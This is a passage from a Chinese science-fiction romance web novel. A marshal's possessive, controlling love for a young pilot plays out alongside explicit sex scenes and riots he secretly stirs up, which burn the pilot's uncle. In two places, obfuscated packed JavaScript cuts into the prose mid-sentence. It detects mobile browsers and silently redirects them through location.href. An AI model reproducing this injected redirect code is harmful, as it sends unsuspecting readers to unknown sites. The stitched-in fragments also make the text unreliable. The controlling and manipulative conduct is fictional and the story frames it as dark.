不需要在警报炸响的驾驶舱,也没有毁天灭地的南境暴雨。 就只是一个平淡的、没有任何计划的夜晚。 在连续多日无微不至的照料过后,银发男人略显疲态,却仍在专注研究林诺病情的模样,就这样没有一点征兆地击中了他。 ……可是奇怪。 因为现在距离他跟恺撒成为恋人,已经快半年有余。 别说拥抱亲吻了,他的小腹都被灌鼓起过好多次。 可直到此时此刻,他才真正感受到情人间的心动—— 为他那会在深夜焦躁徘徊的年长恋人,而不是那个强悍、完美、游刃有余的英雄偶像。 他超凡的直觉天赋,赐予他感知真心的能力,倘若察觉他人对他投注真心,他也必将回馈爱意。 而在他的认知里,恺撒是个光明磊落的人,一定每时每刻都在真心相待。 可他回馈给对方的爱意,却比他们确定关系要滞后这么多—— 为什么会有这样的时间差呢? 林诺非常困惑。 但他一直都是不善言辞的实干派,找不到答案的事情,就暂时不再去想。 见恺撒暂时没有回去休息的打算,就又踮着脚爬回床上去。 他在黑暗里睁着眼睛,足足等了一个小时,等到恺撒摸黑回来。 银发男人以为他已经睡熟,轻手轻脚在他背后躺下,手臂伸过来环抱住他。 而林诺则低下脑袋,把嘴巴贴住那只满是可怖灼痕的手,很认真地亲对方的疤痕。 “……” 恺撒似乎在他背后微微停滞。 片刻后,他依然回吻少年的脖子,嗓音含笑道:“突然间怎么了。” “……按照您的指示,我们现已把派去地球方面制造动乱的人员分批撤离。” 参谋们在远程会议中报告,“只是当前这种程度是否已经足够?或许令局势更加混乱,对我们才更为有利。” “我需要的是一个完整的、秩序尚存的第三行星联邦。” 恺撒说,“如果它因为过分动荡而坍塌,对我们才是得不偿失。把握好尺度,目前只在地球港口、德尔斐留一批人员即可。” 参谋们频频点头。 纵然有些时候恺撒行事过分独断,很多想法不会跟智囊团互通有无,不过他的个人能力足够出色,能给任何情况兜底,最终结果也往往能够服众。 于是又有人想起恺撒最近一次的“独断”行为: “您在没有最高议会的许可状态下,领兵驰援木星环城,等到地球方面反应过来,您大概率会被他们送上军事法庭。这也在您的计划之中吗?” 恺撒摩挲着情侣手环,一时没作声。 “……” 见他沉默,参谋们也跟着诡异沉默了。有人又胆战心惊地追问一遍: “……应该也在您的计划中吧?” “是的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035481|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 恺撒说——所谓政治,不过就是一次又一次把意料之外的突发情况,变成自己的累积优势。对他来说,再多一次也无妨。 “都在我的计划之中。” 会议将要结束的时候,恺撒再次确认下一批制造暴乱的地点。他隐约记得,林诺的小叔似乎居住在地球港口附近。 而看看布局图,他们计划中的暴乱范围,确实与林成彬的住所重合了。 他心中明白,被煽动的愤怒民意,是全然不可控的洪水。一旦开闸泄洪,就将很难把控伤亡范围。 参谋们见恺撒动作一停,以为有什么变动,就问:“元帅,方案还需要调整吗?” “不。”恺撒说,“按照既定方案进行。” 他给养在地球的私人部队发去命令,往林成彬身旁增派一些护卫人手,算是仁至义尽了。 会议结束,恺撒批阅过手头的文件,就习惯性拉开抽屉,把小孩的病情记录拿出来研究。 书房门“笃笃”轻响,他又将病情记录塞回抽屉,嗓音一下变得非常温柔: “快进来。” 林诺推门而入。 他一直记着恺撒的休息时间,所以特地选在对方工作结束时过来。 他的腿伤和创伤反应,已经接近好转了,于是他就从衣柜里挑出最正式的衣服——其实也只有恺撒送他的军校制服——洗干净再穿上。 然后脊背挺拔,长腿笔直地站在了恺撒跟前。 两手还背在背后,不知藏了什么东西。 “怎么了吗?” 银发男人温和地问,表情有点好奇,“是不是有话想对我说?” “唔。” 林诺闷闷点头。 他被恺撒用心养了两个星期,现在黑亮的眼睛神采奕奕,剑眉星目,俊美得整个人都在闪闪发光。 “我……有些事情想要向你坦白。” “是什么?” 恺撒的神情更好奇了。他也学着黑发小猫正色,两手交握在办公桌上,一副严肃聆听的模样。 “我也听听看。” 林诺开口前,先抹了好一会儿鼻子,把鼻尖都揉红了,真的很难为情。 可他来之前背过好几遍台词,没道理现在临阵脱逃。 “……我最近冷静下来回想,发现我在南境提出跟你确定关系时,确实显得过分冲动和幼稚了。” 林诺说,黑眼睛就猛盯地板,像要把地毯盯着火似的。 “我本该更加慎重地对待这件事,但那天不知怎么回事,我比平时都要冲动、也更缺乏考虑……后来我觉得,可能是跟南境当时的极端天气有关……或许也算是吊桥效应的一种?我前不久偶然在资料中看到的——” ……恺撒慢慢地、慢慢地站了起来。 他脸上所有的宠溺笑意,都在一秒内迅速消失。 戴着皮革手套的手,牢牢握紧桌沿,皮革与木板挤压摩擦,发出刺耳的吱吱声来。 有那么一小会儿,银发男人并没能很快出声。 因为他发现,他要花不小的力气伪饰,才能找回平时沉稳、自然、游刃有余的腔调: “……原来如此。不过,既然现在来告诉我,是因为你反悔了吗?” 林诺短暂沉默——并非他有意讲话大喘气,是因为他在疯狂回忆下一句台词。 但恺撒看着他,义眼骤然沉暗,手掌直接按住桌下的控制面板。 指令闪电般发出,空中庄园通往停机坪的唯一出口,开始被数道大门隆隆封锁。 紧接着就是庄园的正门、侧门,地下出入口,乃至走廊的防火通道。 锁簧不断绞合的“喀哒”声,由远及近,响成一片。 但那声音很细微,像风吹树叶,所以林诺并没有注意。 “我还在等你的答案呢。” 银发男人缓步走近,两手捧起林诺的脸,高大的影子从头到脚,彻底笼住少年修长的身形。 他的语调始终温柔。 “好孩子,看着我。” 林诺有一张能媲美电影明星的硬帅脸,不过捧在恺撒手里时,两边腮肉会微微变形,就会显得特别可爱——这也是恺撒总爱捧着小孩脸蛋的原因。 但现在,他用大拇指摩挲着林诺的侧脸,发现在这个姿态下,他的手掌其实离少年的咽喉很近。 人若是被骤然掐住气管,不出三分钟就会昏迷—— 昏迷的人不会再对他笑,也不会用很会爱人的黑眼睛看着他,但至少绝不可能逃离他的身边。 “……或者是有什么误解呢?” 男人又想到一个可能性,喉结焦灼滚动着,语速加快不少。 “你是不是在敲门前听到了什么?实际上,我正在组织部队平定地球方面的暴乱。毕竟时局动荡,会有大量星盗趁乱混入地球…… “……林诺。你看,没关系的,告诉我……” 放在林诺脖颈上的手掌越收越紧。 恺撒的语调一直很亲昵、也很温柔,只有义眼陷在眉弓阴影里,紧盯对方的每一个微表情: “我不会生气的……嗯?” “……啊?不是的!” 林诺终于能插上嘴。 他今天本来就很紧张,生怕台词效果不好。哪想到刚说了个开场白,恺撒就开始一句接着一句放连招,把他堵得半个字都没想起来。 他本来就是锯嘴葫芦,想不起台词,更加急得帅脸涨红。 索性破罐子破摔,把背后藏着的东西“哗啦”一下,全杵到恺撒胸口。 ……是一束刚摘下来的玫瑰花。 恺撒低头看花,又缓缓抬眸看向他。 有那么一小会儿,银发男人动也不动,似乎整个人都掉线了。 “我想给你补一个更加正式的告白。” 林诺吭哧吭哧地说,脸蛋在恺撒的手掌里,一点点变成冒烟番茄。 “我当时太冲动,也比较浑浑噩噩,突然就确定关系了……其实仔细想想,我应该更加认真对待你的感情。这段时间,真的很谢谢你照顾我……我会学习做一个很好的恋人,跟你一样成熟包容,更加珍……唔!” 他把恺撒的脸推开一点,手挡着自己的嘴巴,还要坚持背台词: “更加、呃、更加珍惜你,对你比你对我还要好。然后,如果我以后有什么做得不对的地方……唔——” 林诺被一路吻到书房门板上,手下意识扶着门把,想要开门躲到走廊上去,好继续把话说完。 但手在门把上压了半天,他发现根本开不了,完全是被锁死了——可他记得自己进来时明明没锁门。 “……你可以用全透明的。” 激烈的耳鬓厮磨间,林诺用尽吃奶的力气,才把这句话说出来。 至少在这一刻,他是发自真心希望恋人能够快乐,哪怕方式依然略显变态。 “……全透明?” 恺撒把他压在门板上接吻,玫瑰花束都在中间挤得瘪瘪的。 男人急促喘息着,义眼难得迷蒙混沌,明显没想起是什么东西,“什么全透明?” 紧接着,他就眼睁睁看着他的黑发小猫,又一次毫无预兆地刷新了“Top100可爱场面排行榜”—— 林诺低头,把制服外套的扣子一粒粒解开,露出里面的黑色运动背心。 发现恺撒依然没反应过来,他便涨红着脸,抓住自己背心下摆,一点点往上卷起来。 “你之前说你喜欢那个、咳、全透明的玩具——” 背心一路往上掀到锁骨,露出年长恋人总爱吃个不停的地方。 俊美的少年背靠着门,脸和轻抖的胸肌都是红的。 小红痣颤颤地缀在眼底,一双黑眼睛从底下仰起来看人。 “那你……弄吧。” 56.第 56 章 “那你……弄吧。” ……尽管在邀请对方时大义凛然,但林诺还是严重低估了恋人的变态程度。 整整三天三夜,他就被固定在作训区的大镜子前动弹不得,并眼睁睁看着身上两只全透明小章鱼,把原本的淡粉弄成熟红—— 那已经是一种能让他彻底告别公共泳池的颜色了。 恺撒全程军装笔挺,甚至穿得比他参加联邦阅兵还正式三分。 戴着皮革手套的手中,时而是一把没什么痛感的特制鞭拍,时而是嗡嗡低鸣的各种奇怪物件,总之不管拿的什么,都能把林诺弄得死去活来。 银发男人的义眼,时刻紧盯林诺的表情,仿佛能从他汗湿的脸上获得极大欢愉。 那双金属眼珠既不太像人类,也不再像机械,完全只是一头垂涎欲滴的大型猛兽,在压抑着濒临爆发的渴求,精心烹饪只属于自己的美味大餐。 “……小猫会被我……得熟透的。熟到只要闻见我的气味,听见我的声音,……就会马上……紧。然后还会滴滴答答……” 不仅如此,他还总爱贴着林诺的耳朵,不间断地讲那些上不了台面的话。 “来,看着镜子……真是好孩子。听见我说这些,一下就把尾巴吃进去了。不,小猫……不可以把脑袋扭开。不然,我可要打开那些坏毛刷了……” “不……不要打开坏毛刷……” 林诺神志不清,也稀里糊涂跟着学舌。 随着男人在耳边一阵阵低笑,即便林诺已经在盯着镜子,透明毛刷还是嗡嗡地转了起来。 林诺自诩酷拽硬汉,结果被几根破毛刷弄哭了好几次,眼泡就跟恺撒老在他耳边描述个不停的地方一样肿。 但他心知肚明,恺撒能弄上三天三夜,他自己是要老老实实背上一口锅的—— 即便不太了解恺撒的特殊癖好,但他也凭借爱人的本能,一边遭罪一边摸索,屡次主动配合对方,好让恋人能获得最好的体验。 最后,恺撒被彻底满足了。 足足数二十年,从没吃得这样饫甘餍肥过。 给林诺解开绳索时,林诺湿漉漉的脑袋一歪,“咚”一声栽进他怀里。 他早就累得不省人事,但两腿还要颤巍巍抬着,想给恺撒最佳的视觉效果。 “……小猫。” 恺撒用军装大衣裹住他,低头去吻他手腕上的绳印。 吻过手腕,又一路吻到小臂和胳膊,再帮忙把对方的舌尖送回去。 每吻一个地方,就要低低地再唤一声:“小猫……” 或许连奥林匹斯山上的众神,也过不上他在庄园的这段神仙日子。 人造太阳的暖光漏进窗帘,他们会一同醒来,在枕头间耳鬓厮磨,然后黏黏糊糊地去洗漱。视林诺昨晚的透支情况,他会决定是要一起解决晨x问题还是分开。 接着他去工作,林诺在地下的机甲工坊捣捣鼓鼓。 参谋会议不那么密集,而林诺又恰好能从模拟训练里冒出头时,他们会再次在庄园里找到彼此。 不一定要去那个全是大镜子的作训区,可能只是在玻璃花房晒太阳,或者去地下影院看电影,只要两人能呆在一块就可以。 而夜间读书时间,从前都是恺撒低声念诗,哄自己的小猫睡觉,但现在林诺说要学习当一个好爱人,也要为恺撒读故事书。 他不知是偷偷调查过,还是又一次基于他出类拔萃的直觉,选的是从前在孤儿院时,恺撒没能来得及经手就被院长私吞的书。 林诺在恺撒枕边撑着脑袋,就用手按着书页,认认真真读。 读着读着,自己的脑袋先栽进书里去—— 因为如果当天晚上是从作训区回来,他的体力确实会透支。 恺撒就负责把书收走,熄灯,捧着林诺的睡脸接吻,再剥开睡袍,把对方胸前两只透明吸盘“啵、啵”拔掉,放到床头第二天备用。 林诺躺过的被窝、穿过的睡袍,都有恺撒格外喜欢的淡淡皂香味,睡袍里包裹的温热身体更是如此。 有时,他甚至会趁林诺睡得神志不清时,直接把他身上的睡袍剥干净,只搂着少年不着寸缕的身体睡。 因为这样一来,他一整晚的梦里,都会浸满那股干净、纯粹的皂香。 恺撒常常做梦。 这件事其实很奇怪,因为从很小的时候,他就是个不容易做梦的人。 就连星陨战役过后,噩梦也不会像侵扰林诺那样侵扰他—— 他甚至稳定到从不体验战后ptsd。 但现在他抱着林诺入睡,会反复梦见他9岁时逃离孤儿院,直奔木星环城、向中央军校谋求前程的时候。 去往木星环城的民用飞艇,是票价最低的运输舱。 他跟一些脸庞黢黑的矿工挤在一起,蓝眼睛盯住污秽的舱壁,冷静盘算着未来。 浑浊难闻的空气充盈全舱,迫使他的感官超载发作,迅速翻弄背包时,却想起他的收音机早就被摔碎了。 然而熟悉的气息却从身边飘来。 一回头,小小一只的林诺就挤在他身边。 小林诺依旧很酷地绷着脸蛋,把脑袋上巨大的耳机摘下来,伸手给他戴上: “喏。给你戴会儿。” 或者就是星陨战役后的复健时光。 冥炎彻底损毁,第一舰队机甲特种部队生死不明,他在战场里把自己的眼珠挖了出来,所以暂且只能在失明状态下等他的特制义眼。 这个世界上能够折磨他的事情,已经所剩不多,但让一个掌控欲极强的人同时失去视力和精神力,绝对算其中一种顶级的酷刑。 黑暗、闷热、逼狭的治疗舱里,熟悉的气息却从身边飘来。林诺不知怎么的,也跟他挤在一个治疗舱。 他两手摸索半天恺撒的脸,又把耳机给他戴上:“喏。给你戴会儿。” “……你是怎么回事?” 恺撒在梦里的好笑感,一路延续到醒来。 他把林诺顶醒,嗓音很沙哑地问:“怎么总在让我戴耳机?” 林诺完全听不懂他在说什么,被顶得受不了,在被子里挣扎半天。 他的ptsd好转许多了,梦境内容自然不像恺撒那样丰富。 但只要被留在里面睡着,必定要梦见咪咪乱叫的粉色猫崽。他被吓醒好几回,醒来后,想去查查AB中的Beta是否可能怀孕,可被恺撒一顶,又迷迷糊糊忘了自己梦过什么。 白天在机甲工坊里研究新型机甲时,林诺也会抽出时间,对着资料研究恺撒那款义眼。 他跟恺撒同吃同睡,偶尔会看见恺撒对着镜子,略显随意地更换义眼的样子。 起初恺撒都会有意避开他,但每次开始更换义眼,就会看见黑发小猫突然从很远的地方跑过来。 金属眼珠摘出来后,深邃的眼窝深处,只剩下一个碗状的神经连接底座,无数仿生神经树突,会像小手一样从底座探出来,实际画面还是有点可怖的。 但恺撒仔细观察林诺,发现他脸上并没有惊惧、嫌恶或是猎奇,就只是一副学术探讨的严肃模样。 于是他也由着林诺看,把自己的金属眼珠,当做一款小猫诱捕器用。 “我可以试试帮你换义眼。” 林诺说。 他还记得恺撒以前说过他的眼睛有痛感,上回打架时一拳捣了人家的眼睛,搞得他默默愧疚到现在。 但现在每次看恺撒更换义眼保养,就是一掏、一拽、随便当啷一丢,看得他眼窝突突幻痛。 等把恺撒的备用义眼研究明白,他就立刻前来请缨。 “你吗?” 恺撒说,神情微怔一下,又随即恢复自然,“好啊。” 于是,在一个阳光晴朗的午后,恺撒仰头坐在书房的沙发上,任由身上的黑发小猫为他更换眼球。 他的义眼从制作完成开始,就没再让任何人碰过—— 一则眼窝装置离大脑太近,动辄就会影响大脑,像他这样的人,甚至不会接受任何形式的大脑麻醉; 二则,在更换义眼时,需要短暂关停眼部神经受体,他也绝不可能在失明状态下,让任何人停留在他的防御区间。 事实上,当林诺碰到他的眼珠时,恺撒的手就已经瞬间触上枪套。 他面上依然带着温和的笑,摩挲林诺后颈的左手也很温柔。 但右手僵硬地、无法控制地拨开爆能枪的保险栓。 因为左手一直在确认林诺的头部位置,他随时都可以拔出枪来,直接顶住林诺的太阳穴。 “……是不是很疼?” 林诺两腿跪立在他的大腿两侧,凭身体感知到对方一瞬的僵硬。 他想起小时候,隔壁工坊的奶奶因战争失明,于是隔壁爷爷不管走到哪,总要紧紧握着她的胳膊,靠着她的身体,不管天气有多热,且奶奶已经申请到了导盲机器人。 正给他升级耳机的妈妈见他困惑,就解答说: “像奶奶那样半途失明的人,亲近之人大面积的身体接触,应该会给她特别好的安全感吧。小宝要不要试试?” 小林诺还真的试了,脑袋扣着关停的全息头盔,满工坊乱走。 那头盔有卡扣,戴上就没办法自己脱下来,他什么也看不见,连撞带摔了好几回,却根本没人来帮他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050524|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 被全世界抛弃的恐惧感愈发强烈,于是再也绷不住酷脸,摸到一个能靠住的地方,就吧嗒吧嗒掉眼泪。 紧接着,他一下陷进温暖的怀抱里—— 是爸爸妈妈跑过来抱住了他。 头盔被摘下来,妈妈才轻声说: “你看,小宝还可以摘掉头盔,奶奶却要一直生活在这样可怕的黑暗里。以后碰到奶奶需要帮助的时候,小宝就知道应该怎么做了。对不对?” 时隔多年,林诺莫名想起这段往事,就默默把身体往近凑了一点,让恺撒的脸能埋在自己胸前,然后伸手环抱住男人的身体。 他安置义眼的动作非常小心,轻得像一片羽毛落在眼窝里。 等恺撒闭上眼再睁开,看见的就是少年低垂俊美脸庞,专注凝视着他的模样。 ……是那种能让冥炎也活过来,长出血肉的眼神。 林诺其实是在查看那双金属眼珠。 他生怕自己哪个步骤没弄对,讲话也像说悄悄话: “恺撒,能看见吗。” “……”恺撒看着他的黑眼睛,按着枪套的手缓慢收回,扶在林诺的细腰上。 他微微蹙眉,露出一个特别为难的表情:“似乎看不见呢。” “!” 林诺的脸蛋立刻绷紧了,剑眉拧起,一副即将应对世界级医疗难题的样子。 他觉得每次拆装眼珠,恺撒应该都会非常痛,结果重装了四五次,对方还一直说看不见,急得他手都发抖,更加不敢再碰恺撒的眼窝。 “怎么办?” 他颤声向年长恋人求助,鼻尖都渗出汗来, “可能是我把它弄坏了……我们请医疗官来吧!对不起,应该特别疼吧?” 恺撒圈着他的腰,嘴角带着一点不易察觉的笑意,就在沙发上仰头看他。 说还有痛感是骗林诺的,他早在第一次装载义眼时,就要求将痛觉神经和泪腺都摘除了。 但至于要问神经鳗侵入眼珠,他用手把它们挖出来时疼不疼—— 那必然是极其可怕的剧痛。 “如果我说疼的话,”他轻声问,“小猫要怎么办?” 林诺并不知道要怎么办。 他两只手还举着拆装工具,被恺撒暗中亲了几口的胸肌,剧烈地起伏着。 最后他只能低下头,一遍遍轻吻恺撒的眼角和眉梢—— 他是锯嘴小猫,讲不出很漂亮的安慰话,情急之下,也只好这样做。 “……” 恺撒闭着眼,轻轻扣紧林诺的后颈。 当林诺想要起身联系医疗官时,银发男人没松手,而是用很轻的声音说: “再亲我一会儿吧。” 众神难求的美妙时光,在某天深夜,恺撒收到一道急讯时戛然而止。 并非来自他的部下。 而是来自地球某家急诊医院,发给林诺的消息。 林诺在他的庄园住着,外界发给林诺的每一道通讯,都会先抵达恺撒的光脑。 少年又一次被弄得透支过度,在他怀里沉沉睡着,恺撒稍稍看一眼发信人,就起身离开床,披着睡袍到走廊去。 [……林诺:您好!您的亲属林成彬因在暴动中大面积烧伤,被我院收治……现林成彬在我院病情趋于恶化,特下达病重通知书……请您尽快返回地球,或解除通讯屏蔽状态,与我院联系……] 他轻微皱了下眉,联系负责护卫林成彬的部下。 没有回音。 于是,他又联系上地球方面的私人部队,得知昨夜地球港口,发生大规模暴动,阿卜杜勒的残部趁机混入纵火,结果连同负责护卫的手下都一同进了急诊基地。 “元帅,是否需要现在出兵制止港口暴动?” 有参谋见他深夜上线,就发来通讯询问, “若以您的名义制止,或许能在地球方面将您送上军事法庭前,再次大幅度提升民望。” 恺撒不作声,只用文字答复: [并不需要。我的职责范围仅限外敌,针对人民的血腥镇压,留给联邦政府去做。] “了解,是我考虑不周。我们马上去做准备。” 他返回卧室,重新躺在黑发小猫身边。 林诺在睡熟时又被剥了衣服,在恺撒离开卧室时就被冻醒了。 种动物般的敏锐嗅觉,让他撑着疲累的身体,不经意问出声:“恺撒?是不是发生什么事了?” 恺撒抚着他的黑发。 少顷,他俯身,亲吻对方的额头。 “不。” 银发男人低声说,“没发生什么事。睡吧,小猫。” 57.第 57 章 恺撒当晚没说什么。 第2天起床,也依然跟黑发小猫你侬我侬,耳鬓厮磨半天,才肯交扣着指尖,一起挤进浴室洗澡。 在他的预期里,这件事至少可以拖上一个月。 少年心无旁骛的爱意,如同孤儿院高墙下罕见的晴空白日,实在令人沉溺。 以至于突然来了个不相干的人——尽管各种意义上来说,那都是林诺的至亲——要分走林诺的一丝目光,他也绝对不能容忍。 “……背时的家伙。” 恺撒用指节抵了抵眉弓,冷漠低语。 他甚至只在庄园外的飞艇上,才会打开林成彬相关的消息。 由于阿卜杜勒旧部的参与,这次地球港口的暴动伤亡很大,恺撒还顺带神不知鬼不觉送走了几个政坛对手。 在血腥的政治倾轧中卷入林诺的家属,当然并非他本意。 但既已增派过人手护卫,叛军旧部的燃丨烧弹还是掉到了林成彬头上,这就实在有点令人厌烦。 “转移到我名下的医疗基地,正常救治。” 恺撒跟部下打过招呼,就去调阅下一份密报了。 一个月后,若林成彬有所好转,他自然会送林诺回地球探望。若是死了,他也会以联邦殡葬局的名义给林诺致信,并帮助林诺回地球组织葬礼—— 从情感上,他倒不太期望这样的结果发生,因为他确实不想看可怜的小猫伤心欲绝。 但他也明白,在他内心深处的某个角落,的确藏有一个阴暗的念头: 倘若林诺也跟他一样无亲无故,他们彼此之间,将再也不会有任何人介入。 林诺的现在已经属于他,未来也将属于他,而他来不及参与的过去,也将从此被他一点点渗透。 恺撒的预期很理想。 但他没有料到,林诺从第3天就开始察觉不对劲。 “……小叔的通讯打不通。” 林诺握着通讯器,剑眉紧蹙,“为什么会这样……?” 他把求助的目光,投向自己最信任的年长恋人: “恺撒,我没法联系上小叔。我们约好每隔两天就会互相联络,但港口暴动的新闻以后,他就再也没有联系过我了。” “我听说地球的通讯基站被暴民破坏了,所以当前大部分的通讯线路受阻。” 银发男人缓缓靠近,手掌捧起他的脸。 “我这边也没有收到护卫人员的任何汇报——也许什么也没发生呢?不会有事的。如果有消息,我会第一时间告诉你。” 林诺的脸捧在他掌心,腮肉微微鼓起着。 他看着看着,就很想吻下去,于是微微低头,顺带想把话题绕开。 ……但林诺突然把头一扭,退开了。 “不。” 他喃喃自语道,目光落在地板上,“有点不对劲。我现在就回地球。” 他竟真的说走就走,从沙发上抓起制服外套,一边穿,一边就要大步走出房门。 经过恺撒身边时,恺撒突然抓住他的手腕,猛地拽到自己身前来。 “——我说过不会有事。” 男人紧紧盯住他,压抑地、沙哑地重复一遍,“而且不管发生什么事,我都会为你处理妥当。你不能就这样离开我,林诺,除非我亲口同意。” ……“处理”这个冰冷的字眼,很隐晦地刺痛了林诺。 但他当下完全被焦灼支配,已经顾不上思考这其中的违和感,胳膊猛地用力,一下就把恺撒的手挣开了。 “这不可能的!” 林诺急声道,“我必须回去看看情况!” 他的伤已经养好了,从挣脱到离开恺撒视野,也就区区几秒钟的事。 少年奔跑的样子,完全就是一头矫健的黑豹。 跑到仍在封锁的庄园正门时,他骤然蹬地上蹿,军靴踩住门边的白杨树,竟然三两下就攀上门顶,身影转瞬消失在高耸的大门顶端。 恺撒被挣开的那只手,仍徒劳空举着。 少顷。 他才缓慢收拢指尖。 ……伴随皮革摩擦的刺耳咯吱声。 一点一点,紧攥成拳。 *** “长官,请把我送往木星港口。” 林诺冲上停在停机坪的飞艇,对驾驶座上的士官急声请求道。 等了三秒,没等到对方任何回应,他果断转身,去取舱内的喷气式背包。 空中庄园离地9000米,远在云层之上。 就算是具备紧急降落用途的喷气式装甲,正常使用高度也不会超过3000米。 林诺背上背包,扣紧所有安全带,扶着舱门预判过风向,就准备往下跳。 “启动飞艇。” 驾驶员的通讯器里,传来恺撒平静的声音,“我跟他一起回去。” 对林诺而言,那就是噩梦般深黑的一天。 他从地球港口一路飞奔回家,却只看见焦黑色的废墟。 整座居民楼都已在燃丨烧弹下坍塌,连同爸爸妈妈的遗像一起焚毁殆尽。 紧接着,他又四处抓着人追问,终于问到确切地点,又仅凭双腿,从废墟一路跑到医院——地球港口附近的暴动太过频繁,政府早已封锁大量悬浮车道路。 他一头撞进公立医院,只觉得眼前到处都是人,耳边全是啼哭和哀嚎,拨开面前的一批,又有新的人墙堵在跟前。 他不停地拨开人墙、不停地找,恍惚间仿佛重回儿时的黑暗一天。 同样是挤满工坊的人群,同样的刺耳的救护车鸣笛,白色的布盖上夫妇的面庞,担架被从地上抬起送走。 他竭尽全力拨开大人们的腿,无论如何也想要靠近担架:“不要带他们走——不要带他们走!” “小宝别怕……小宝别怕。” 小叔紧紧抱住他,眼泪一滴滴落在他的脑袋上,“小叔还在这里,小叔会一直保护你的……死也会保护你……” “——林诺。” 手臂被拽住时,他本能要再一次挣开。回过头,却见银发男人就站在身后。 公立医院的走廊嘈杂拥挤,悬浮担架来回穿梭,时不时撞到林诺的胳膊和腰。 恺撒皱眉。他用手臂护着林诺,一路送回停在门口的悬浮车。 男人先命令士官开车,再用拇指抹过林诺泛湿的眼角,低声道: “我查过了,他不在这。我带你去找。” 悬浮车最终停在一家军部医疗基地门前。 林诺下了车就想往里冲,没迈出三步远,就被恺撒一把拉回自己身边。 他握着林诺的手臂,走过一排排陌生的病房门,最终在一间急重症监护病房前驻足。 “……白磷丨弹……大面积烧伤……生命体征微弱……” 森冷厚重的金属房门,将林诺阻隔在外。 他一个人坐在门口的候诊椅,脑袋抵在交握的拳头上,沉默听着医疗官跟恺撒叙述情况。 那名医疗官身上也配有第三舰队的勋章,跟恺撒叙述时,眼神略略透出一丝疑惑——因为他记得自己已跟元帅汇报过一次了。 但接触到恺撒沉冷的眼神,他还是本能肃立,将汇报过的内容又一五一十重复一遍。 林诺垂头坐在门前一动不动,如同一座没有生气的雕塑。 从早上十点到晚上八点,他几乎滴水未入。 恺撒在他身边来回逡巡,连哄带骗,才勉强喂进一小支营养液。 直到夜间气温骤降,恺撒把军装大衣批在林诺肩上,在一旁坐下。 他用手轻轻拢住林诺的肩,又是那副沉稳、体贴、无限包容的完美姿态了。 “在我身上靠一会儿,小猫。我不会强迫你回去休息的。” 林诺披着他的大衣,浓墨般的眼睫低垂,也不知道在想什么。 恺撒等了一小会儿,手掌温柔地抚住少年后颈,义眼却一瞬不瞬,紧盯林诺的每一个神情变化。 最终,林诺还是顺着他手掌的力道,脑袋慢慢地靠了过来。 “……为什么会这样?” 林诺低头看着自己的靴子,喃喃自语,“即使民众因为木星环城事件群情激奋,示威地点也该集中在议会大厦附近才对。为什么偏偏选在港口和德尔斐?事态还这样不可收拾……莫非是有人暗中操纵暴乱,企图从中牟利吗?” 凯撒的表情没有丝毫变化,抚摸林诺后颈的手掌也依然温柔。 他侧过脸,亲吻林诺的额头,声音低沉地说:“这次暴乱事件,有阿卜杜勒旧部的参与。叛军对联邦的恨意由来已久,想必乐得见地球陷入水深火热。” 林诺低头思考着,缓慢摇了摇头。 “……可是,这不符合叛军的行事逻辑。” 他说出自己的分析,“暴乱只被控制在德尔斐和港口范围内,一个会激怒宗教影响力最大的德尔斐信徒,一个能对地球获取外援造成干扰。地球真正的经济动脉,地核矿井、赤道贯通电梯、以及大大小小的金融集团公司,示威人群却很快就被驱散。 “幕后黑手并不真正想让第三行星联邦分崩离析,或许是要借这次事件自下而上夺权。阿卜杜勒从进入木星环城开始,就只想挟持人质换取荣誉公民权,可见他跟幕后黑手的目的并不一致。” 恺撒吻他额头的动作一停,随后又自然地吻年轻恋人的耳尖。 他并没有作声。 只是林诺低头盯住军靴,放在腿面上的两只拳头,颤抖着握紧了。 “……可为什么他要这样做?” 他嗓音沙哑,喉咙里翻涌着滚烫的怒意。 “那么多无辜的人——他们的亲人已经枉死在木星环城,却还有人要敲骨吸髓,利用他们的冤屈和鲜血,向联邦政府索求权力……何等冷血卑劣的人物!住在地球港口的人们做错了什么、我的小叔又做错过什么?该死……这种人,比阿卜杜勒之流还要恶毒百万倍……” 恺撒一直在听,微微眯起义眼。 但他依然很温和地捏着林诺后颈,半诱哄、半劝导地低语: “我们假设有一天,你发现联邦政府的所作所为,其实也跟阿卜杜勒不相上下,你会怎么做?如果一味追崇单纯的英雄主义,表面上是在拯救弱者的生命财产,实际却在一次次将他们推回火坑。难道这也符合小猫的‘道理’吗?” 他提出问题,但并没有期待林诺现在就回复他。 林诺才19岁,想法稚嫩是理所应当的,他19岁时,也是个误以为只要实力过硬,就能凌驾众人之上的蠢货。 只是无论林诺情愿与否,他都时刻准备把林诺带进他的新帝国。 如果能从此刻开始,潜移默化地诱使、教化、影响林诺,或许可以有效平复他和林诺相处时,时不时折磨着他的焦渴感。 果然,林诺沉默了。 他盯着自己的双手,那上面戴着恺撒送给他的新战术手套,包裹着他那双能驱动机甲杀敌的手。 少顷,他翕动唇瓣:“……那我就去当那个吹响哨子的人。” “什么?” “如果证据确凿,我就去当那个吹响哨子的人。我会让大家都惊醒过来,然后等他们自己作出决定。对与我一同改变或离开的,我坚决保护他们的选择。若坚持要与剥削人们的人站在一起,那便只能为敌。但无论如何,我不想骗人,也绝不会操纵暴乱……会这样做的人,只是在渴望支配权力而已,而不是在追求真正对的事情。” 